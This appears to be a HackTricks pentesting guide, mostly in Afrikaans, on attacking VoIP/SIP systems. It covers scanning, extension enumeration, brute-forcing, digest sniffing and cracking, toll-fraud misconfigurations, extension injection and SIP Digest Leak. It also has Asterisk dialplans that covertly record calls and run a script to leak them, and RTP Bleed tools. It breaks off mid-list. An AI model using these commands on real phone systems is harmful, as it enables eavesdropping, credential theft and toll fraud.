# Pentesting VoIP {% hint style="success" %} Leer & oefen AWS Hacking:[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)\ Leer & oefen GCP Hacking: [**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte)
Ondersteun HackTricks * Kyk na die [**subskripsie planne**](https://github.com/sponsors/carlospolop)! * **Sluit aan by die** 💬 [**Discord groep**](https://discord.gg/hRep4RUj7f) of die [**telegram groep**](https://t.me/peass) of **volg** ons op **Twitter** 🐩 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.** * **Deel hacking truuks deur PRs in te dien na die** [**HackTricks**](https://github.com/carlospolop/hacktricks) en [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
{% endhint %}
**Kry 'n hacker se perspektief op jou webtoepassings, netwerk, en wolk** **Vind en rapporteer kritieke, exploiteerbare kwesbaarhede met werklike besigheidsimpak.** Gebruik ons 20+ pasgemaakte gereedskap om die aanvaloppervlak te karteer, vind sekuriteitskwessies wat jou toelaat om bevoegdhede te verhoog, en gebruik geoutomatiseerde eksploit om noodsaaklike bewyse te versamel, wat jou harde werk in oortuigende verslae omskakel. {% embed url="https://pentest-tools.com/?utm_term=jul2024&utm_medium=link&utm_source=hacktricks&utm_campaign=spons" %} ## VoIP Basiese Inligting Om te begin leer oor hoe VoIP werk, kyk: {% content-ref url="basic-voip-protocols/" %} [basic-voip-protocols](basic-voip-protocols/) {% endcontent-ref %} ## Basiese Boodskappe ``` Request name Description RFC references ------------------------------------------------------------------------------------------------------ REGISTER Register a SIP user. RFC 3261 INVITE Initiate a dialog for establishing a call. RFC 3261 ACK Confirm that an entity has received. RFC 3261 BYE Signal termination of a dialog and end a call. RFC 3261 CANCEL Cancel any pending request. RFC 3261 UPDATE Modify the state of a session without changing the state of the dialog. RFC 3311 REFER Ask recipient to issue a request for the purpose of call transfer. RFC 3515 PRACK Provisional acknowledgement. RFC 3262 SUBSCRIBE Initiates a subscription for notification of events from a notifier. RFC 6665 NOTIFY Inform a subscriber of notifications of a new event. RFC 6665 PUBLISH Publish an event to a notification server. RFC 3903 MESSAGE Deliver a text message. Used in instant messaging applications. RFC 3428 INFO Send mid-session information that does not modify the session state. RFC 6086 OPTIONS Query the capabilities of an endpoint RFC 3261 ``` ## Response Codes **1xx—Voorlopige Antwoorde** ``` 100 Trying 180 Ringing 181 Call is Being Forwarded 182 Queued 183 Session Progress 199 Early Dialog Terminated ``` **2xx—Suksesvolle Antwoorde** ``` 200 OK 202 Accepted 204 No Notification ``` **3xx—Herleidings Antwoorde** ``` 300 Multiple Choices 301 Moved Permanently 302 Moved Temporarily 305 Use Proxy 380 Alternative Service ``` **4xx—KliĂ«nt Fout Antwoorde** ``` 400 Bad Request 401 Unauthorized 402 Payment Required 403 Forbidden 404 Not Found 405 Method Not Allowed 406 Not Acceptable 407 Proxy Authentication Required 408 Request Timeout 409 Conflict 410 Gone 411 Length Required 412 Conditional Request Failed 413 Request Entity Too Large 414 Request-URI Too Long 415 Unsupported Media Type 416 Unsupported URI Scheme 417 Unknown Resource-Priority 420 Bad Extension 421 Extension Required 422 Session Interval Too Small 423 Interval Too Brief 424 Bad Location Information 425 Bad Alert Message 428 Use Identity Header 429 Provide Referrer Identity 430 Flow Failed 433 Anonymity Disallowed 436 Bad Identity-Info 437 Unsupported Certificate 438 Invalid Identity Header 439 First Hop Lacks Outbound Support 440 Max-Breadth Exceeded 469 Bad Info Package 470 Consent Needed 480 Temporarily Unavailable 481 Call/Transaction Does Not Exist 482 Loop Detected 483 Too Many Hops 484 Address Incomplete 485 Ambiguous 486 Busy Here 487 Request Terminated 488 Not Acceptable Here 489 Bad Event 491 Request Pending 493 Undecipherable 494 Security Agreement Required ``` **5xx—Bediener Fout Antwoorde** ``` 500 Internal Server Error 501 Not Implemented 502 Bad Gateway 503 Service Unavailable 504 Server Time-out 505 Version Not Supported 513 Message Too Large 555 Push Notification Service Not Supported 580 Precondition Failure ``` **6xx—Globale Faal Antwoorde** ``` 600 Busy Everywhere 603 Decline 604 Does Not Exist Anywhere 606 Not Acceptable 607 Unwanted 608 Rejected ``` ## VoIP Enumerasie ### Telefoonnommers Een van die eerste stappe wat 'n Rooi Span kan doen, is om beskikbare telefoonnommers te soek om met die maatskappy te kontak deur OSINT-gereedskap, Google-soektogte of deur webbladsye te scrape. Sodra jy die telefoonnommers het, kan jy aanlyn dienste gebruik om die operateur te identifiseer: * [https://www.numberingplans.com/?page=analysis\&sub=phonenr](https://www.numberingplans.com/?page=analysis\&sub=phonenr) * [https://mobilenumbertracker.com/](https://mobilenumbertracker.com/) * [https://www.whitepages.com/](https://www.whitepages.com/) * [https://www.twilio.com/lookup](https://www.twilio.com/lookup) Om te weet of die operateur VoIP-dienste bied, kan jy identifiseer of die maatskappy VoIP gebruik... Boonop is dit moontlik dat die maatskappy nie VoIP-dienste gehuur het nie, maar PSTN-kaarte gebruik om sy eie VoIP PBX aan die tradisionele telekommunikasienetwerk te koppel. Dinge soos outomatiese musiekantwoorde dui gewoonlik aan dat VoIP gebruik word. ### Google Dorks ```bash # Grandstream phones intitle:"Grandstream Device Configuration" Password intitle:"Grandstream Device Configuration" (intext:password & intext:"Grandstream Device Configuration" & intext:"Grandstream Networks" | inurl:cgi-bin) -.com|org # Cisco Callmanager inurl:"ccmuser/logon.asp" intitle:"Cisco CallManager User Options Log On" "Please enter your User ID and Password in the spaces provided below and click the Log On button" # Cisco phones inurl:"NetworkConfiguration" cisco # Linksys phones intitle:"Sipura SPA Configuration" # Snom phones intitle:"snom" intext:"Welcome to Your Phone!" inurl:line_login.htm # Polycom SoundPoint IP & phones intitle:"SoundPoint IP Configuration Utility - Registration" "Welcome to Polycom Web Configuration Utility" "Login as" "Password" intext: "Welcome to Polycom Web Configuration Utility" intitle:"Polycom - Configuration Utility" inurl:"coreConf.htm" intitle:"Polycom Login" inurl:"/login.html" intitle:"Polycom Login" -.com # Elastix intitle:"Elastix - Login page" intext:"Elastix is licensed under GPL" # FreePBX inurl:"maint/index.php?FreePBX" intitle: "FreePBX" intext:"FreePBX Admministration" ``` ### OSINT inligting Enige ander OSINT-opsomming wat help om VoIP-sagteware te identifiseer wat gebruik word, sal nuttig wees vir 'n Red Team. ### Netwerk Opsomming * **`nmap`** is in staat om UDP-dienste te skandeer, maar as gevolg van die aantal UDP-dienste wat geskandeer word, is dit baie stadig en mag nie baie akkuraat wees met hierdie soort dienste nie. ```bash sudo nmap --script=sip-methods -sU -p 5060 10.10.0.0/24 ``` * **`svmap`** van SIPVicious (`sudo apt install sipvicious`): Sal SIP-dienste in die aangeduide netwerk lokaliseer. * `svmap` is **maklik om te blokkeer** omdat dit die User-Agent `friendly-scanner` gebruik, maar jy kan die kode van `/usr/share/sipvicious/sipvicious` aanpas en dit verander. ```bash # Use --fp to fingerprint the services svmap 10.10.0.0/24 -p 5060-5070 [--fp] ``` * **`SIPPTS scan`** from [**sippts**](https://github.com/Pepelux/sippts)**:** SIPPTS scan is 'n baie vinnige skandeerder vir SIP-dienste oor UDP, TCP of TLS. Dit gebruik multithreading en kan groot reekse van netwerke skandeer. Dit laat jou toe om maklik 'n poortreeks aan te dui, beide TCP en UDP te skandeer, 'n ander metode te gebruik (standaard sal dit OPTIONS gebruik) en 'n ander User-Agent te spesifiseer (en meer). ```bash sippts scan -i 10.10.0.0/24 -p all -r 5060-5080 -th 200 -ua Cisco [-m REGISTER] [!] IP/Network: 10.10.0.0/24 [!] Port range: 5060-5080 [!] Protocol: UDP, TCP, TLS [!] Method to scan: REGISTER [!] Customized User-Agent: Cisco [!] Used threads: 200 ``` * **metasploit**: ``` auxiliary/scanner/sip/options_tcp normal No SIP Endpoint Scanner (TCP) auxiliary/scanner/sip/options normal No SIP Endpoint Scanner (UDP) ``` #### Ekstra Netwerk Opsporing Die PBX kan ook ander netwerkdienste blootstel soos: * **69/UDP (TFTP)**: Firmware-opdaterings * **80 (HTTP) / 443 (HTTPS)**: Om die toestel vanaf die web te bestuur * **389 (LDAP)**: Alternatief om die gebruikersinligting te stoor * **3306 (MySQL)**: MySQL-databasis * **5038 (Manager)**: Laat toe om Asterisk vanaf ander platforms te gebruik * **5222 (XMPP)**: Berigte met behulp van Jabber * **5432 (PostgreSQL)**: PostgreSQL-databasis * En ander... ### Metodes Opsporing Dit is moontlik om **watter metodes beskikbaar is** om in die PBX te gebruik deur `SIPPTS enumerate` van [**sippts**](https://github.com/Pepelux/sippts) te gebruik. ```bash sippts enumerate -i 10.10.0.10 ``` ### Analiseer bediener antwoorde Dit is baie belangrik om die koptekste wat 'n bediener aan ons terugstuur, te analiseer, afhangende van die tipe boodskap en koptekste wat ons stuur. Met `SIPPTS send` van [**sippts**](https://github.com/Pepelux/sippts) kan ons persoonlike boodskappe stuur, alle koptekste manipuleer, en die antwoord analiseer. ```bash sippts send -i 10.10.0.10 -m INVITE -ua Grandstream -fu 200 -fn Bob -fd 11.0.0.1 -tu 201 -fn Alice -td 11.0.0.2 -header "Allow-Events: presence" -sdp ``` Dit is ook moontlik om data te verkry as die bediener websockets gebruik. Met `SIPPTS wssend` van [**sippts**](https://github.com/Pepelux/sippts) kan ons persoonlike WS-boodskappe stuur. ```bash sippts wssend -i 10.10.0.10 -r 443 -path /ws ``` ### Extension Enumeration Extensions in a PBX (Private Branch Exchange) system verwys na die **unieke interne identifiseerders wat aan individuele** telefoonlyne, toestelle, of gebruikers binne 'n organisasie of besigheid toegeken word. Extensions maak dit moontlik om **oproepen binne die organisasie doeltreffend te roete**, sonder die behoefte aan individuele eksterne telefoonnommers vir elke gebruiker of toestel. * **`svwar`** van SIPVicious (`sudo apt install sipvicious`): `svwar` is 'n gratis SIP PBX extensie lyn skandeerder. In konsep werk dit soortgelyk aan tradisionele wardialers deur **'n reeks extensies of 'n gegewe lys van extensies te raai**. ```bash svwar 10.10.0.10 -p5060 -e100-300 -m REGISTER ``` * **`SIPPTS exten`** from [**sippts**](https://github.com/Pepelux/sippts)**:** SIPPTS exten identifiseer uitbreidings op 'n SIP-bediener. Sipexten kan groot netwerk- en poortreekse nagaan. ```bash sippts exten -i 10.10.0.10 -r 5060 -e 100-200 ``` * **metasploit**: Jy kan ook uitbreidings/gebruikersname met metasploit opnoem. ``` auxiliary/scanner/sip/enumerator_tcp normal No SIP Username Enumerator (TCP) auxiliary/scanner/sip/enumerator normal No SIP Username Enumerator (UDP) ``` * **`enumiax` (`apt install enumiax`): enumIAX** is 'n Inter Asterisk Exchange protokol **gebruikersnaam brute-force enumerator**. enumIAX kan in twee verskillende modi werk; Volgorde Gebruikersnaam Raai of Woordeboekaanval. ```bash enumiax -d /usr/share/wordlists/metasploit/unix_users.txt 10.10.0.10 # Use dictionary enumiax -v -m3 -M3 10.10.0.10 ``` ## VoIP-aanvalle ### Wagwoord Brute-Force - aanlyn Nadat die **PBX** en sommige **uitbreidings/gebruikersname** ontdek is, kan 'n Rooi Span probeer om te **authentiseer via die `REGISTER` metode** na 'n uitbreiding deur 'n woordelys van algemene wagwoorde te gebruik om die authentisering te brute-force. {% hint style="danger" %} Let daarop dat 'n **gebruikersnaam** dieselfde kan wees as die uitbreiding, maar hierdie praktyk kan verskil, afhangende van die PBX-stelsel, sy konfigurasie, en die organisasie se voorkeure... As die gebruikersnaam nie dieselfde is as die uitbreiding nie, sal jy moet **uitvind wat die gebruikersnaam is om dit te brute-force**. {% endhint %} * **`svcrack`** van SIPVicious (`sudo apt install sipvicious`): SVCrack laat jou toe om die wagwoord vir 'n spesifieke gebruikersnaam/uitbreiding op 'n PBX te kraak. ```bash svcrack -u100 -d dictionary.txt udp://10.0.0.1:5080 #Crack known username svcrack -u100 -r1-9999 -z4 10.0.0.1 #Check username in extensions ``` * **`SIPPTS rcrack`** from [**sippts**](https://github.com/Pepelux/sippts)**:** SIPPTS rcrack is 'n afstand wagwoord kraker vir SIP dienste. Rcrack kan wagwoorde toets vir verskeie gebruikers in verskillende IP's en poortreekse. ```bash sippts rcrack -i 10.10.0.10 -e 100,101,103-105 -w wordlist/rockyou.txt ``` * **Metasploit**: * [https://github.com/jesusprubio/metasploit-sip/blob/master/sipcrack.rb](https://github.com/jesusprubio/metasploit-sip/blob/master/sipcrack.rb) * [https://github.com/jesusprubio/metasploit-sip/blob/master/sipcrack\_tcp.rb](https://github.com/jesusprubio/metasploit-sip/blob/master/sipcrack\_tcp.rb) ### VoIP Sniffing As jy VoIP-toerusting binne 'n **Open Wifi netwerk** vind, kan jy **alle inligting snuffel**. Boonop, as jy binne 'n meer geslote netwerk is (verbonden via Ethernet of beskermde Wifi) kan jy **MitM-aanvalle soos** [**ARPspoofing**](../../generic-methodologies-and-resources/pentesting-network/#arp-spoofing) tussen die **PBX en die gateway** uitvoer om die inligting te snuffel. Tussen die netwerk inligting kan jy **web geloofsbriewe** vind om die toerusting te bestuur, gebruiker **uitbreidings**, **gebruikersnaam**, **IP** adresse, selfs **gehashede wagwoorde** en **RTP-pakkette** wat jy kan herproduseer om **die gesprek te hoor**, en meer. Om hierdie inligting te verkry kan jy gereedskap soos Wireshark, tcpdump... gebruik, maar 'n **spesiaal geskepte gereedskap om VoIP-gesprekke te snuffel is** [**ucsniff**](https://github.com/Seabreg/ucsniff). {% hint style="danger" %} Let daarop dat as **TLS in die SIP kommunikasie gebruik word** jy nie die SIP kommunikasie in duidelik sal kan sien.\ Dieselfde sal gebeur as **SRTP** en **ZRTP** gebruik word, **RTP-pakkette sal nie in duidelike teks wees**. {% endhint %} #### SIP geloofsbriewe (Wagwoord Brute-Force - aflyn) [Kontroleer hierdie voorbeeld om beter te verstaan hoe 'n **SIP REGISTER kommunikasie** werk](basic-voip-protocols/sip-session-initiation-protocol.md#sip-register-example) om te leer hoe **geloofsbriewe gestuur word**. * **`sipdump`** & **`sipcrack`,** deel van **sipcrack** (`apt-get install sipcrack`): Hierdie gereedskap kan **uittrek** uit 'n **pcap** die **digest-authentikasies** binne die SIP-protokol en **bruteforce** hulle. ```bash sipdump -p net-capture.pcap sip-creds.txt sipcrack sip-creds.txt -w dict.txt ``` * **`SIPPTS dump`** van [**sippts**](https://github.com/Pepelux/sippts)**:** SIPPTS dump kan digest-authentikasies uit 'n pcap-lĂȘer onttrek. ```bash sippts dump -f capture.pcap -o data.txt ``` * **`SIPPTS dcrack`** from [**sippts**](https://github.com/Pepelux/sippts)**:** SIPPTS dcrack is 'n hulpmiddel om die digest-outentifikasies wat met SIPPTS dump verkry is, te kraak. ```bash sippts dcrack -f data.txt -w wordlist/rockyou.txt ``` * **`SIPPTS tshark`** from [**sippts**](https://github.com/Pepelux/sippts)**:** SIPPTS tshark onttrek data van die SIP-protokol uit 'n PCAP-lĂȘer. ```bash sippts tshark -f capture.pcap [-filter auth] ``` #### DTMF kodes **Nie net SIP geloofsbriewe** kan in die netwerkverkeer gevind word nie, dit is ook moontlik om DTMF kodes te vind wat gebruik word om byvoorbeeld toegang tot die **stempos** te verkry.\ Dit is moontlik om hierdie kodes in **INFO SIP boodskappe**, in **klank** of binne **RTP pakkette** te stuur. As die kodes binne RTP pakkette is, kan jy daardie deel van die gesprek sny en die hulpmiddel multimo gebruik om hulle te onttrek: ```bash multimon -a DTMF -t wac pin.wav ``` ### Gratis oproepe / Asterisks verbindings miskonfigurasies In Asterisk is dit moontlik om 'n verbinding **van 'n spesifieke IP-adres** of van **enige IP-adres** toe te laat: ``` host=10.10.10.10 host=dynamic ``` If 'n IP-adres is gespesifiseer, sal die gasheer **nie REGISTER** versoeke elke nou en dan hoef te stuur nie (in die REGISTER-pakket word die tyd om te lewe gestuur, gewoonlik 30min, wat beteken dat die telefoon in 'n ander scenario elke 30min moet REGISTER). Dit sal egter oop poorte moet hĂȘ wat verbindings van die VoIP-bediener toelaat om oproepe te ontvang. Om gebruikers te definieer kan hulle as volg gedefinieer word: * **`type=user`**: Die gebruiker kan slegs oproepe as gebruiker ontvang. * **`type=friend`**: Dit is moontlik om oproepe as peer te maak en dit as gebruiker te ontvang (gebruik met uitbreidings) * **`type=peer`**: Dit is moontlik om oproepe as peer te stuur en te ontvang (SIP-trunks) Dit is ook moontlik om vertroue te vestig met die onveilige veranderlike: * **`insecure=port`**: Laat peer verbindings wat deur IP geverifieer word. * **`insecure=invite`**: Vereis nie verifikasie vir INVITE-boodskappe nie * **`insecure=port,invite`**: Albei {% hint style="warning" %} Wanneer **`type=friend`** gebruik word, sal die **waarde** van die **host** veranderlike **nie gebruik word** nie, so as 'n admin **'n SIP-trunk verkeerd konfigureer** met daardie waarde, **sal enigiemand in staat wees om daartoe te verbind**. Byvoorbeeld, hierdie konfigurasie sal kwesbaar wees:\ `host=10.10.10.10`\ `insecure=port,invite`\ `type=friend` {% endhint %} ### Gratis Oproepe / Asterisks Konteks Misconfigurasies In Asterisk is 'n **konteks** 'n benoemde houer of afdeling in die kiesplan wat **verwante uitbreidings, aksies en reĂ«ls groepeer**. Die kiesplan is die kernkomponent van 'n Asterisk-stelsel, aangesien dit definieer **hoe inkomende en uitgaande oproepe hanteer en gerouteer word**. Konteks word gebruik om die kiesplan te organiseer, toegangbeheer te bestuur, en skeiding tussen verskillende dele van die stelsel te bied. Elke konteks word in die konfigurasie-lĂȘer gedefinieer, tipies in die **`extensions.conf`** lĂȘer. Konteks word aangedui deur vierkante hakies, met die konteksnaam binne-in. Byvoorbeeld: ```bash csharpCopy code[my_context] ``` Binnen die konteks definieer jy uitbreidings (patrone van gedialde nommers) en assosieer dit met 'n reeks aksies of toepassings. Hierdie aksies bepaal hoe die oproep verwerk word. Byvoorbeeld: ```scss [my_context] exten => 100,1,Answer() exten => 100,n,Playback(welcome) exten => 100,n,Hangup() ``` Hierdie voorbeeld demonstreer 'n eenvoudige konteks genoem "my\_context" met 'n uitbreiding "100". Wanneer iemand 100 kies, sal die oproep beantwoord word, 'n welkomstekst sal gespeel word, en dan sal die oproep beĂ«indig word. Dit is **nog 'n konteks** wat toelaat om **na enige ander nommer te bel**: ```scss [external] exten => _X.,1,Dial(SIP/trunk/${EXTEN}) ``` As die admin die **default context** definieer as: ``` [default] include => my_context include => external ``` {% hint style="warning" %} Enigeen sal in staat wees om die **bediener te gebruik om na enige ander nommer te bel** (en die admin van die bediener sal vir die oproep betaal). {% endhint %} {% hint style="danger" %} Boonop bevat die **`sip.conf`** lĂȘer standaard **`allowguest=true`**, dan sal **enige** aanvaller met **geen outentisering** in staat wees om na enige ander nommer te bel. {% endhint %} * **`SIPPTS invite`** van [**sippts**](https://github.com/Pepelux/sippts)**:** SIPPTS invite kontroleer of 'n **PBX bediener ons toelaat om oproepe te maak sonder outentisering**. As die SIP bediener 'n onakkurate konfigurasie het, sal dit ons toelaat om oproepe na eksterne nommers te maak. Dit kan ons ook toelaat om die oproep na 'n tweede eksterne nommer oor te dra. Byvoorbeeld, as jou Asterisk bediener 'n slegte kontekskonfigurasie het, kan jy INVITE versoek aanvaar sonder outorisasie. In hierdie geval kan 'n aanvaller oproepe maak sonder om enige gebruiker/wagwoord te ken. {% code overflow="wrap" %} ```bash # Trying to make a call to the number 555555555 (without auth) with source number 200. sippts invite -i 10.10.0.10 -fu 200 -tu 555555555 -v # Trying to make a call to the number 555555555 (without auth) and transfer it to number 444444444. sippts invite -i 10.10.0.10 -tu 555555555 -t 444444444 ``` {% endcode %} ### Gratis oproepe / Foutief geconfigureerde IVRS IVRS staan vir **Interaktiewe Stem Respons Stelsel**, 'n telekommunikasietegnologie wat gebruikers toelaat om met 'n gekompliseerde stelsel te kommunikeer deur middel van stem of toetsingang. IVRS word gebruik om **geoutomatiseerde oproep hantering** stelsels te bou wat 'n reeks funksies bied, soos om inligting te verskaf, oproepe te roete, en gebruikersinvoer te vang. IVRS in VoIP stelsels bestaan tipies uit: 1. **Stem aanwysings**: Vooraf opgeneemde klankboodskappe wat gebruikers deur die IVR-menu opsies en instruksies lei. 2. **DTMF** (Dubbeltoon Multi-Frekwensie) sein: Toetsingang wat gegenereer word deur sleutels op die telefoon te druk, wat gebruik word om deur die IVR-menu's te navigeer en invoer te verskaf. 3. **Oproep roetering**: Oproepe na die toepaslike bestemming lei, soos spesifieke departemente, agente, of uitbreidings gebaseer op gebruikersinvoer. 4. **Gebruikersinvoer vang**: Inligting van belers versamel, soos rekeningnommers, saak-ID's, of enige ander relevante data. 5. **Integrasie met eksterne stelsels**: Die IVR-stelsel aan databasisse of ander sagteware stelsels koppel om toegang tot of inligting op te dateer, aksies uit te voer, of gebeurtenisse te aktiveer. In 'n Asterisk VoIP-stelsel kan jy 'n IVR skep met die kiesplan (**`extensions.conf`** lĂȘer) en verskeie toepassings soos `Background()`, `Playback()`, `Read()`, en meer. Hierdie toepassings help jou om stem aanwysings te speel, gebruikersinvoer te vang, en die oproepvloei te beheer. #### Voorbeeld van kwesbare konfigurasie ```scss exten => 0,100,Read(numbers,the_call,,,,5) exten => 0,101,GotoIf("$[${numbers}"="1"]?200) exten => 0,102,GotoIf("$[${numbers}"="2"]?300) exten => 0,103,GotoIf("$[${numbers}"=""]?100) exten => 0,104,Dial(LOCAL/${numbers}) ``` Die vorige is 'n voorbeeld waar die gebruiker gevra word om **1 te druk om** 'n departement te bel, **2 om** 'n ander te bel, of **die volledige uitbreiding** as hy dit weet.\ Die kwesbaarheid is die feit dat die aangeduide **uitbreiding lengte nie nagegaan word nie, so 'n gebruiker kan die 5 sekondes tydsduur 'n volledige nommer invoer en dit sal gebel word.** ### Uitbreiding Inspuiting Gebruik 'n uitbreiding soos: ```scss exten => _X.,1,Dial(SIP/${EXTEN}) ``` Waar **`${EXTEN}`** die **uitbreiding** is wat gebel sal word, wanneer die **ext 101 bekendgestel word** sal dit gebeur: ```scss exten => 101,1,Dial(SIP/101) ``` However, if **`${EXTEN}`** allows to introduce **more than numbers** (like in older Asterisk versions), an attacker could introduce **`101&SIP123123123`** to call the phone number 123123123. And this would be the result: ```scss exten => 101&SIP123123123,1,Dial(SIP/101&SIP123123123) ``` Daarom sal 'n oproep na die uitbreiding **`101`** en **`123123123`** gestuur word en slegs die eerste een wat die oproep ontvang, sal gevestig word... maar as 'n aanvaller 'n **uitbreiding gebruik wat enige ooreenkoms omseil** wat uitgevoer word, maar nie bestaan nie, kan hy **slegs 'n oproep na die gewenste nommer inspuit**. ## SIPDigestLeak kwesbaarheid Die SIP Digest Leak is 'n kwesbaarheid wat 'n groot aantal SIP Telefone beĂŻnvloed, insluitend beide hardeware en sagteware IP Telefone sowel as telefoonadapters (VoIP na analoog). Die kwesbaarheid laat **lek van die Digest-authentikasie antwoord** toe, wat bereken word vanaf die wagwoord. 'n **Aflyn wagwoordaanval is dan moontlik** en kan die meeste wagwoorde op grond van die uitdaging antwoord herstel. **[Kwetsbaarheid scenario van hier**](https://resources.enablesecurity.com/resources/sipdigestleak-tut.pdf): 1. 'n IP Telefoon (slagoffer) luister op enige poort (byvoorbeeld: 5060), wat telefoonoproepe aanvaar 2. Die aanvaller stuur 'n INVITE na die IP Telefoon 3. Die slagoffer telefoon begin lui en iemand neem op en hang op (omdat niemand die telefoon aan die ander kant antwoord nie) 4. Wanneer die telefoon opgehang word, stuur die **slagoffer telefoon 'n BYE na die aanvaller** 5. Die **aanvaller gee 'n 407 antwoord** wat **om authentikasie vra** en 'n authentikasie uitdaging uitreik 6. Die **slagoffer telefoon bied 'n antwoord op die authentikasie uitdaging** in 'n tweede BYE 7. Die **aanvaller kan dan 'n brute-force aanval** op die uitdaging antwoord op sy plaaslike masjien (of verspreide netwerk ens.) uitvoer en die wagwoord raai * **SIPPTS lek** van [**sippts**](https://github.com/Pepelux/sippts)**:** SIPPTS lek benut die SIP Digest Leak kwesbaarheid wat 'n groot aantal SIP Telefone beĂŻnvloed. Die uitvoer kan in SipCrack-formaat gestoor word om dit te bruteforce met SIPPTS dcrack of die SipCrack hulpmiddel. ```bash sippts leak -i 10.10.0.10 [!] Target: 10.10.0.10:5060/UDP [!] Caller: 100 [!] Callee: 100 [=>] Request INVITE [<=] Response 100 Trying [<=] Response 180 Ringing [<=] Response 200 OK [=>] Request ACK ... waiting for BYE ... [<=] Received BYE [=>] Request 407 Proxy Authentication Required [<=] Received BYE with digest [=>] Request 200 Ok Auth=Digest username="pepelux", realm="asterisk", nonce="lcwnqoz0", uri="sip:100@10.10.0.10:56583;transport=UDP", response="31fece0d4ff6fd524c1d4c9482e99bb2", algorithm=MD5 ``` ### Click2Call Click2Call laat 'n **webgebruiker** (wat byvoorbeeld dalk in 'n produk belangstel) toe om sy **telefoonnommer** in te voer om gebel te word. Dan sal 'n kommersiĂ«le oproep gemaak word, en wanneer hy **die telefoon opneem** sal die gebruiker **gebel en met die agent verbind word**. 'n Algemene Asterisk-profiel hiervoor is: ```scss [web_user] secret = complex_password deny = 0.0.0.0/0.0.0.0 allow = 0.0.0.0/0.0.0.0 displayconnects = yes read = system,call,log,verbose,agent,user,config,dtmf,reporting,crd,diapla write = system,call,agent,user,config,command,reporting,originate ``` * Die vorige profiel laat **ENIGE IP adres toe om te verbind** (as die wagwoord bekend is). * Om 'n **oproep te organiseer**, soos voorheen gespesifiseer, is **geen leesregte nodig nie** en **slegs** **oorsprong** in **skryf** is nodig. Met daardie regte kan enige IP wat die wagwoord ken verbind en te veel inligting onttrek, soos: {% code overflow="wrap" %} ```bash # Get all the peers exec 3<>/dev/tcp/10.10.10.10/5038 && echo -e "Action: Login\nUsername:test\nSecret:password\nEvents: off\n\nAction:Command\nCommand: sip show peers\n\nAction: logoff\n\n">&3 && cat <&3 ``` {% endcode %} **Meer inligting of aksies kan aangevra word.** ### **Afluister** In Asterisk is dit moontlik om die opdrag **`ChanSpy`** te gebruik wat die **verlenging(e) om te monitor** (of al die verlengings) aandui om gesprekke te hoor wat plaasvind. Hierdie opdrag moet aan 'n verlenging toegeken word. Byvoorbeeld, **`exten => 333,1,ChanSpy('all',qb)`** dui aan dat as jy die **verlenging 333** **bel**, dit **alle** verlengings sal **monitor**, **begin luister** wanneer 'n nuwe gesprek begin (**`b`**) in stilmodus (**`q`**) aangesien ons nie wil interaksie hĂȘ nie. Jy kan van een gesprek na 'n ander beweeg deur **`*`** te druk, of deur die verlenging nommer te merk. Dit is ook moontlik om **`ExtenSpy`** te gebruik om slegs een verlenging te monitor. In plaas daarvan om die gesprekke te luister, is dit moontlik om hulle in lĂȘers te **registreer** deur 'n verlenging soos: {% code overflow="wrap" %} ```scss [recorded-context] exten => _X.,1,Set(NAME=/tmp/${CONTEXT}_${EXTEN}_${CALLERID(num)}_${UNIQUEID}.wav) exten => _X.,2,MixMonitor(${NAME}) ``` {% endcode %} Telefonskakels sal gestoor word in **`/tmp`**. Jy kan selfs Asterisk **'n skrip uitvoer wat die oproep sal lek** wanneer dit gesluit word. ```scss exten => h,1,System(/tmp/leak_conv.sh &) ``` ### RTCPBleed kwesbaarheid **RTCPBleed** is 'n groot sekuriteitskwessie wat Asterisk-gebaseerde VoIP-bedieners raak (gepubliseer in 2017). Die kwesbaarheid laat **RTP (Real Time Protocol) verkeer**, wat VoIP-gesprekke dra, toe om **geĂŻntcepteer en hergerig te word deur enige iemand op die Internet**. Dit gebeur omdat RTP-verkeer outentisering omseil wanneer dit deur NAT (Network Address Translation) vuurmure navigeer. RTP-proxies probeer om **NAT-beperkings** wat RTC-stelsels raak, aan te spreek deur RTP-strome tussen twee of meer partye te proxy. Wanneer NAT in plek is, kan die RTP-proxy sagteware dikwels nie staatmaak op die RTP IP- en poortinligting wat deur signalering verkry is nie (bv. SIP). Daarom het 'n aantal RTP-proxies 'n mekanisme geĂŻmplementeer waar sulke **IP- en poort-tuplet outomaties geleer word**. Dit word dikwels gedoen deur inkomende RTP-verkeer te inspekteer en die bron-IP en poort vir enige inkomende RTP-verkeer te merk as die een wat op geantwoord moet word. Hierdie mekanisme, wat "leer-modus" genoem kan word, **maak nie gebruik van enige vorm van outentisering nie**. Daarom kan **aanvallers** **RTP-verkeer na die RTP-proxy stuur** en die geproksiede RTP-verkeer ontvang wat bedoel is vir die beler of ontvanger van 'n aanhoudende RTP-stroom. Ons noem hierdie kwesbaarheid RTP Bleed omdat dit aanvallers toelaat om RTP-media strome te ontvang wat bedoel is om aan wettige gebruikers gestuur te word. 'n Ander interessante gedrag van RTP-proxies en RTP-stakke is dat hulle soms, **selfs al is hulle nie kwesbaar vir RTP Bleed nie**, **RTP-pakkette van enige bron sal aanvaar, deurstuur en/of verwerk**. Daarom kan aanvallers RTP-pakkette stuur wat hulle mag toelaat om hul media in plaas van die wettige een in te spuit. Ons noem hierdie aanval RTP-inspuiting omdat dit die inspuiting van onwettige RTP-pakkette in bestaande RTP-strome toelaat. Hierdie kwesbaarheid kan in beide RTP-proxies en eindpunte gevind word. Asterisk en FreePBX het tradisioneel die **`NAT=yes` instelling** gebruik, wat RTP-verkeer toelaat om outentisering te omseil, wat moontlik lei tot geen klank of eenrigting-klank op oproepe nie. Vir meer inligting, kyk na [https://www.rtpbleed.com/](https://www.rtpbleed.com/) * **`SIPPTS rtpbleed`** van [**sippts**](https://github.com/Pepelux/sippts)**:** SIPPTS rtpbleed detecteer die RTP Bleed kwesbaarheid deur RTP-strome te stuur. ```bash sippts rtpbleed -i 10.10.0.10 ``` * **`SIPPTS rtcpbleed`** from [**sippts**](https://github.com/Pepelux/sippts)**:** SIPPTS rtcpbleed detecteer die RTP Bleed kwesbaarheid deur RTCP-strome te stuur. ```bash sippts rtcpbleed -i 10.10.0.10 ``` * **`SIPPTS rtpbleedflood`** van [**sippts**](https://github.com/Pepelux/sippts)**:** SIPPTS rtpbleedflood benut die RTP Bleed kwesbaarheid deur RTP-strome te stuur. ```bash sippts rtpbleedflood -i 10.10.0.10 -p 10070 -v ``` * **`SIPPTS rtpbleedinject`** 